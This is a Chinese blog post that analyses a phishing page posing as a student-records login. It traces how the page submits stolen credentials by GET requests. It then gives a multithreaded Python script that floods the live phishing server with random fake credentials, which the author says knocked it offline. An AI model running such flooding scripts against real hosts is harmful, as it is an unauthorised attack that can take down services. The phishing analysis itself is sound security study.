起因
几天前,我收到了一封钓鱼邮件,发件人为"arlgabrailli" <arlgabrailli@yahoo.com>
,内容如下
其中,校办.txt
的内容为学籍信息复制链接到浏览器 http://kkyut.icu/dingding
这链接一眼假,真要看学籍的话,一般都是学信网好吧,连高仿域名都没弄,钓鱼都不走心(
但这仅仅适用于上网经验丰富的人,我估计还是有一些小白,真的填了真实信息。
如果填了真实信息,还是火速改密码去吧(悲
出于好奇心和研究目的,我还是点进去了。
探索
钓鱼流程
它的界面如下
谁查学籍要用qq号啊,简直了。
但我点击输入账号后,更离谱的一幕出现了
它仿了个ios的输入法,专门骗ios用户是吧(
但很可惜,我不用ios,且我是再电脑浏览器上打开的,离谱。
我随便输入了一串账号和密码,并点击登录,果然,进入了下一步
我随便输入了一串手机号,但它竟然还有格式验证!
随便找了个手机号生成器,生成了个手机号并输入(竟然不能cv和键盘输入,只能在它的虚拟键盘上点),点击确定,进入了下一个界面
如果你输入了真的账号密码手机号,这里它的后台应该就已经在尝试盗号了。
接下来,我们就要祭出f12大法来一探究竟了。
代码分析
回到最初开始的地方,并找到点击登录的函数调用
可以看到,当我们点击登录后,它会调用xiayibu()
这个函数
搜索并找到函数xiayibu()
好家伙,原来是直接用get方法,通过参数传递来向后台发送请求并添加数据。
之后,返回code和一个id。如果code等于1,就跳转到id所对应的界面。
接下来使用python
进行验证
import requests
r = requests.get('http://kkyut.icu/status.php?action=add&u=+86-114514&p=1919810')
print(r.content.decode())
果然,程序打印了网站返回的结果
{"code":1,"id":"49221"}
接下来,我们在网页手动输入账号密码后,进入电话号码输入界面,如法炮制,找到函数调用和函数内容
还是和之前的一样,直接用get方法,通过参数传递来向后台发送请求并添加数据。之前的手机号格式验证也找到对应的正则了。
仍然是python验证
import requests
r = requests.get('http://kkyut.icu/status.php?action=queren&id=49221&u=+86-19973094425')
print(r.content.decode())
我这里的电话是随机生成的,如果刚好和某人的电话撞上了,那属实巧合(
网站返回结果如下
{"code":200}
至此,整个流程结束。
关于返回id的问题,个人推测为已经记录的账号的数量,顺序增加。
开始爆破!
原理分析完毕,接下来就是正式代码的编写
import requests
import random
import string
import json
import threading
import fake_useragent
url = 'http://kkyut.icu'
def generate_random_passwd(randomlength):
random_str = ''
base_str = string.ascii_letters + string.digits
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
def generate_random_tel(randomlength=11):
random_str = '1'
base_str = '3456789'
base_str2 = string.digits
random_str += base_str[random.randint(0, len(base_str) - 1)]
length = len(base_str2) - 1
for i in range(randomlength - 2):
random_str += base_str2[random.randint(0, length)]
return random_str
def run(id: int):
while True:
try:
ua = fake_useragent.FakeUserAgent().random
# 随机UA
header = {"User-Agent": ua}
tel = generate_random_tel()
passwd = generate_random_passwd(random.randint(8, 64))
requesturl = f"{url}/status.php?action=add&u=+86-{tel}&p={passwd}"
r = requests.get(url=requesturl, headers=header)
result = r.content.decode('gbk')
# 垃圾服务器,单台机器128线程就有点扛不住了
# 服务器跑win server,iis 7
# 如果报错,返回的信息编码是gbk,带有中文
# 如果正常返回,返回是json数据,不包含中文
# 所以这里还必须用gbk,淦,垃圾
if len(result) > 0 and result[0] == '{':
result = json.loads(result)
amount = result['id']
if result["code"] == 1:
requesturl = f"{url}/status.php?action=queren&id={result['id']}&u=+86-{tel}"
r = requests.get(url=requesturl, headers=header)
result = r.content.decode('gbk')
# 用gbk的理由见上
if len(result) > 0 and result[0] == '{':
result = json.loads(result)
if result["code"] == 200:
print(amount)
if int(amount) % 10000 == 0:
with open('./log.log', 'a', encoding='utf-8') as f:
f.write(amount)
f.write('\n')
except Exception as e:
print(f"thread {id} {e}")
if __name__ == '__main__':
thread = 100
# 线程数量
for i in range(thread):
t = threading.Thread(target=run, args=(i,))
t.start()
if i == thread - 1:
t.join()
简要来说,整个代码的作用就是随机生成账号和密码,并往钓鱼网站里塞,且采用多线程(
每塞10000条垃圾,就记录一下,写入到日志中。
后记
塞了一晚的垃圾后,一共塞入40万条,然后钓鱼网站挂了,好似(
但过去一个白天后,我再次打开这个钓鱼网站,它又好了,返回的id也重置了,估计是骗子发现之后重装了系统。
但我试了一下,还是一样的流程,没有任何改变。
不说了,继续塞垃圾去了(